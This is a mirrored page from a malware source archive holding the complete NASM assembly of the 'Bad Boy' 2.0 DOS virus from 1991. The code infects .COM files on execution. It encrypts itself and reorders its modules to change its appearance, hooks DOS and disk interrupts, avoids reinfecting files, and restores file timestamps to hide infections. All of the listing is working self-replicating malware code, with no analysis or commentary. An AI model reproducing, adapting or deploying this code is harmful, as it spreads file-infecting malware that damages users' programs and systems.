mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
510 lines
13 KiB
NASM
510 lines
13 KiB
NASM
|
||
code segment
|
||
assume cs:code,ds:code
|
||
.radix 16
|
||
org 100
|
||
start:
|
||
push word ptr cs:[table+2]
|
||
push cs
|
||
pop ds
|
||
jmp word ptr cs:[table] ;go to module 1
|
||
|
||
curofs dw ?
|
||
files db 0 ;number of infected files from this copy
|
||
fsize dw 2 ;size of infected file
|
||
ftime dw ?
|
||
fdate dw ?
|
||
stdint21 dd ?
|
||
oldint13 dd ?
|
||
oldint21 dd ?
|
||
oldint24 dd ?
|
||
|
||
;------------- TABLE WITH MODULE PARAMETERS --------------------
|
||
table:
|
||
dw offset false_mod_1 ;00
|
||
dw offset mod_2 ;02
|
||
dw offset mod_3 ;04
|
||
dw offset mod_4 ;06 ;offset modules
|
||
dw offset mod_5 ;08
|
||
dw offset mod_6 ;0a
|
||
dw offset mod_7 ;0c
|
||
dw offset mod_8 ;0e
|
||
|
||
dw offset mod_2 - offset mod_1;10
|
||
dw offset mod_3 - offset mod_2;12
|
||
dw offset mod_4 - offset mod_3;14
|
||
dw offset mod_5 - offset mod_4;16
|
||
dw offset mod_6 - offset mod_5;18 ;size modules
|
||
dw offset mod_7 - offset mod_6;1a
|
||
dw offset mod_8 - offset mod_7;1c
|
||
dw offset myend - offset mod_8;1e
|
||
|
||
|
||
;------------- MODULE - 1 - CODER/DECODER ----------------------
|
||
mod_1:
|
||
mov bx,offset table+2 ;first module to working (module 2)
|
||
mov cx,6 ;number of modules to working
|
||
mod_1_lp1:
|
||
cmp bx,offset table+0a
|
||
jne mod_1_cont
|
||
add bx,2
|
||
mod_1_cont:
|
||
push bx
|
||
push cx
|
||
mov ax,[bx] ;ax - offset module
|
||
mov cx,[bx+10] ;cx - size of module
|
||
mov bx,ax
|
||
mod_1_lp2:
|
||
xor byte ptr [bx],al
|
||
inc bx
|
||
loop mod_1_lp2
|
||
pop cx
|
||
pop bx
|
||
add bx,2
|
||
loop mod_1_lp1
|
||
ret
|
||
|
||
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
|
||
mod_2:
|
||
;instalation check
|
||
|
||
mov es,cs:[2] ;memory size
|
||
mov di,100
|
||
mov si,100
|
||
mov cx,0bh
|
||
repe cmpsb
|
||
jne mod_2_install ;jump if not install
|
||
jmp word ptr cs:[table+06] ;if install, jump to module 4
|
||
|
||
mod_2_install:
|
||
;instalation
|
||
|
||
mov ax,cs
|
||
dec ax
|
||
mov ds,ax
|
||
|
||
cmp byte ptr ds:[0],'Z'
|
||
je mod_2_cont
|
||
|
||
jmp word ptr cs:[table+6] ;if no last MCB - go to mod4
|
||
|
||
mod_2_cont:
|
||
sub word ptr ds:[3],0c0
|
||
mov ax,es
|
||
sub ax,0c0
|
||
mov es,ax
|
||
mov word ptr ds:[12],ax ;decrement memory size with 2K
|
||
push cs
|
||
pop ds
|
||
|
||
mod_2_mut:
|
||
mov byte ptr cs:files,0
|
||
|
||
mov di,100
|
||
mov cx,offset mod_1-100
|
||
mov si,100
|
||
rep movsb ;write table to new memory
|
||
|
||
mov bx,word ptr cs:[table]
|
||
add bx,offset mod_1_lp2-offset mod_1+1
|
||
xor byte ptr [bx],18 ;change code method
|
||
|
||
mov cx,8
|
||
mov word ptr curofs,offset mod_1
|
||
mod_2_lp1:
|
||
push cx
|
||
call mod_2_rnd ;generate random module addres
|
||
push bx ;addres in table returned from mod_2_rnd
|
||
mov ax,[bx] ;offset module
|
||
push ax
|
||
add bx,10
|
||
mov cx,[bx] ;length of module
|
||
pop si
|
||
pop bx
|
||
xchg di,curofs
|
||
mov word ptr es:[bx],di ;change module offset in table
|
||
rep movsb ;copy module to new memory
|
||
xchg di,curofs ;change current offset in new memory
|
||
mov ax,8000
|
||
or word ptr [bx],ax ;mark module - used
|
||
pop cx
|
||
loop mod_2_lp1
|
||
mov cl,8
|
||
not ax
|
||
mov bx,offset table
|
||
mod_2_lp2:
|
||
and word ptr [bx],ax ;unmark all modules
|
||
add bx,2
|
||
loop mod_2_lp2
|
||
|
||
jmp word ptr cs:[table+4] ;go to module 3
|
||
|
||
mod_2_rnd:
|
||
push cx
|
||
push es
|
||
xor cx,cx
|
||
mov es,cx
|
||
mod_2_lp3:
|
||
mov bx,es:[46c]
|
||
db 81,0e3,07,00 ;and bx,7
|
||
shl bx,1
|
||
add bx,offset table
|
||
test [bx],8000
|
||
jnz mod_2_lp3
|
||
pop es
|
||
pop cx
|
||
ret
|
||
|
||
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
|
||
mod_3:
|
||
xor ax,ax
|
||
mov ds,ax
|
||
|
||
mov ax,ds:[4*21]
|
||
mov word ptr es:[oldint21],ax
|
||
mov ax,ds:[4*21+2]
|
||
mov word ptr es:[oldint21+2],ax
|
||
|
||
mov ah,30
|
||
int 21
|
||
cmp ax,1e03
|
||
jne mod_3_getvec
|
||
|
||
mov word ptr es:[stdint21],1460
|
||
mov ax,1203
|
||
push ds
|
||
int 2f
|
||
mov word ptr es:[stdint21+2],ds
|
||
pop ds
|
||
jmp mod_3_setvec
|
||
|
||
mod_3_getvec:
|
||
mov ax,ds:[4*21]
|
||
mov word ptr es:[stdint21],ax
|
||
mov ax,ds:[4*21+2]
|
||
mov word ptr es:[stdint21+2],ax
|
||
|
||
mod_3_setvec:
|
||
cli
|
||
mov ax,word ptr es:[table+0c]
|
||
mov ds:[4*21],ax
|
||
mov ax,es
|
||
mov ds:[4*21+2],ax
|
||
sti
|
||
|
||
mov cx,es
|
||
mov ah,13 ;
|
||
int 2f ;
|
||
push es ;
|
||
mov es,cx ;
|
||
mov word ptr es:[oldint13],dx ; get standart int13 addres
|
||
mov word ptr es:[oldint13+2],ds ;
|
||
pop es ;
|
||
int 2f ;
|
||
|
||
jmp word ptr cs:[table+06] ;go to module 4
|
||
|
||
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
|
||
mod_4:
|
||
push cs
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
mov si,word ptr cs:[table+06]
|
||
add si,offset mod_4_cont - offset mod_4
|
||
mov di,cs:fsize
|
||
add di,offset myend+1
|
||
push di
|
||
mov cx,offset mod_5 - offset mod_4_cont
|
||
cld
|
||
rep movsb
|
||
ret
|
||
mod_4_cont:
|
||
mov si,cs:fsize
|
||
add si,100
|
||
|
||
cmp si,offset myend+1
|
||
jnc mod_4_cnt
|
||
mov si,offset myend+1
|
||
mod_4_cnt:
|
||
mov di,100
|
||
mov cx,offset myend-100
|
||
rep movsb
|
||
mov ax,100 ;
|
||
push ax ; jmp 100
|
||
ret ;
|
||
|
||
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
|
||
mod_5:
|
||
xor di,di
|
||
mov ds,di
|
||
cli
|
||
mov di,word ptr cs:[oldint21]
|
||
mov ds:[4*21],di
|
||
mov di,word ptr cs:[oldint21+2]
|
||
mov ds:[4*21+2],di
|
||
sti
|
||
|
||
ret
|
||
|
||
db 'Make me better!'
|
||
;------------- MODULE - 6 - INT 24 HEADER -----------------------
|
||
mod_6:
|
||
mov al,3
|
||
iret
|
||
db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
|
||
|
||
;------------- MODULE - 7 - INT 21 HEADER -----------------------
|
||
mod_7:
|
||
push bx
|
||
push si
|
||
push di
|
||
push es
|
||
push ax
|
||
|
||
cmp ax,4b00
|
||
je mod_7_begin
|
||
jmp mod_7_exit
|
||
mod_7_begin:
|
||
push ds
|
||
push cs ;
|
||
pop es ;
|
||
xor ax,ax ;
|
||
mov ds,ax ;
|
||
mov si,4*24 ;
|
||
mov di,offset oldint24 ;
|
||
movsw ; change int24 vector
|
||
movsw ;
|
||
mov ax,word ptr cs:[table+0a] ;
|
||
cli ;
|
||
mov ds:[4*24],ax ;
|
||
mov ax,cs ;
|
||
mov ds:[4*24+2],ax ;
|
||
sti
|
||
pop ds
|
||
|
||
mov ax,3d00 ;
|
||
pushf ;
|
||
call cs:oldint21 ;
|
||
jc mod_7_ex ; open,infect,close file
|
||
mov bx,ax ;
|
||
mod_7_infect: ;
|
||
call word ptr cs:[table+0e] ;
|
||
pushf
|
||
mov ah,3e ;
|
||
pushf ;
|
||
call cs:oldint21 ;
|
||
popf
|
||
jc mod_7_ex
|
||
|
||
push ds ;
|
||
cli ;
|
||
xor ax,ax ;
|
||
mov ds,ax ;
|
||
mov ax,word ptr cs:[oldint13] ;
|
||
xchg ax,word ptr ds:[4*13] ;
|
||
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
|
||
mov ax,word ptr cs:[oldint13+2] ;
|
||
xchg ax,word ptr ds:[4*13+2] ;
|
||
mov word ptr cs:[oldint13+2],ax ;
|
||
sti ;
|
||
pop ds ;
|
||
mod_7_ex:
|
||
push ds ;
|
||
xor ax,ax ;
|
||
mov ds,ax ;
|
||
mov ax,word ptr cs:oldint24 ;
|
||
mov ds:[4*24],ax ;
|
||
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
|
||
mov ds:[4*24+2],ax ;
|
||
pop ds ;
|
||
|
||
mod_7_exit:
|
||
pop ax
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop bx
|
||
|
||
jmp cs:oldint21
|
||
|
||
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
|
||
mod_8:
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push di
|
||
push bp
|
||
|
||
push bx
|
||
mov ax,1220
|
||
int 2f
|
||
mov bl,es:[di]
|
||
xor bh,bh
|
||
mov ax,1216
|
||
int 2f
|
||
pop bx
|
||
|
||
mov ax,word ptr es:[di+11]
|
||
cmp ax,0f000
|
||
jc mod_8_c
|
||
jmp mod_8_exit
|
||
|
||
mod_8_c:
|
||
mov word ptr es:[di+2],2 ;open mode - R/W
|
||
|
||
mov ax,es:[di+11]
|
||
mov cs:fsize,ax ; save file size
|
||
|
||
mov ax,word ptr es:[di+0dh] ;
|
||
mov word ptr cs:[ftime],ax ; save file date/time
|
||
mov ax,word ptr es:[di+0f] ;
|
||
mov word ptr cs:[fdate],ax ;
|
||
|
||
push cs ;
|
||
pop ds ;
|
||
mov dx,offset myend+1 ;
|
||
mov cx,offset myend-100 ; read first bytes
|
||
mov ah,3f ;
|
||
pushf
|
||
call cs:oldint21
|
||
jnc mod_8_cnt
|
||
jmp mod_8_exit
|
||
|
||
mod_8_cnt:
|
||
mov bp,ax ; ax - bytes read
|
||
mov si,dx
|
||
mov ax,'MZ'
|
||
cmp ax,word ptr ds:[si]
|
||
jne mod_8_nxtchk
|
||
jmp mod_8_exit
|
||
mod_8_nxtchk:
|
||
xchg ah,al
|
||
cmp ax,ds:[si]
|
||
jne mod_8_cnt2
|
||
jmp mod_8_exit
|
||
|
||
mod_8_cnt2:
|
||
push es
|
||
push di
|
||
push cs ;
|
||
pop es ;
|
||
mov si,100 ;
|
||
mov di,dx ; check for infected file
|
||
mov cx,0bh ;
|
||
repe cmpsb ;
|
||
pop di
|
||
pop es
|
||
jne mod_8_cnt1 ;
|
||
jmp mod_8_exit
|
||
mod_8_cnt1:
|
||
mov word ptr es:[di+15],0 ; fp:=0
|
||
|
||
push es
|
||
push di
|
||
mov si,word ptr cs:[table+0e]
|
||
add si,offset mod_8_cont - offset mod_8
|
||
xor di,di
|
||
push cs
|
||
pop es
|
||
mov cx,offset mod_8_cont_end - offset mod_8_cont
|
||
cld
|
||
rep movsb
|
||
pop di
|
||
pop es
|
||
|
||
mov si,word ptr cs:[table+0e]
|
||
add si,offset mod_8_cont_end - offset mod_8
|
||
push si
|
||
xor si,si
|
||
push si
|
||
|
||
push ds ;
|
||
cli ;
|
||
xor ax,ax ;
|
||
mov ds,ax ;
|
||
mov ax,word ptr cs:[oldint13] ;
|
||
xchg ax,word ptr ds:[4*13] ;
|
||
mov word ptr cs:[oldint13],ax ;
|
||
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
|
||
xchg ax,word ptr ds:[4*13+2] ;
|
||
mov word ptr cs:[oldint13+2],ax ;
|
||
sti ;
|
||
pop ds ;
|
||
|
||
ret
|
||
|
||
mod_8_cont:
|
||
push bx
|
||
call word ptr cs:[table] ; code virus
|
||
pop bx
|
||
|
||
mov dx,100 ;
|
||
mov ah,40 ; write code in begin
|
||
mov cx,offset myend-0ff
|
||
pushf ;
|
||
call cs:stdint21 ;
|
||
|
||
pushf
|
||
push bx
|
||
call word ptr cs:[table] ; decode virus
|
||
pop bx
|
||
popf
|
||
jnc mod_8_cont1
|
||
pop ax
|
||
mov ax,word ptr cs:[table+0e]
|
||
add ax,offset mod_8_ext - offset mod_8
|
||
push ax
|
||
ret
|
||
mod_8_cont1:
|
||
mov ax,es:[di+11] ; fp:=end of file
|
||
mov word ptr es:[di+15],ax ;
|
||
|
||
mov dx,offset myend+1
|
||
mov cx,bp ; bp - files read
|
||
mov ah,40 ;
|
||
pushf ;
|
||
call cs:stdint21 ; write in end of file
|
||
|
||
ret
|
||
|
||
mod_8_cont_end:
|
||
mov ax,5701 ;
|
||
mov cx,cs:ftime ;
|
||
mov dx,cs:fdate ; restore file date/time
|
||
pushf ;
|
||
call cs:oldint21 ;
|
||
|
||
inc cs:files
|
||
cmp cs:files,0a
|
||
jne mod_8_ext
|
||
call word ptr cs:[table+8]
|
||
jmp short mod_8_ext
|
||
mod_8_exit:
|
||
stc
|
||
jmp short mod_8_ex
|
||
mod_8_ext:
|
||
clc
|
||
mod_8_ex:
|
||
pop bp
|
||
pop di
|
||
pop es
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
ret
|
||
|
||
;---------------------------------------------------------------
|
||
|
||
myend db 0
|
||
|
||
int 20 ;code of infected file
|
||
|
||
false_mod_1:
|
||
mov word ptr cs:[table],offset mod_1
|
||
ret
|
||
|
||
code ends
|
||
end start
|
||
|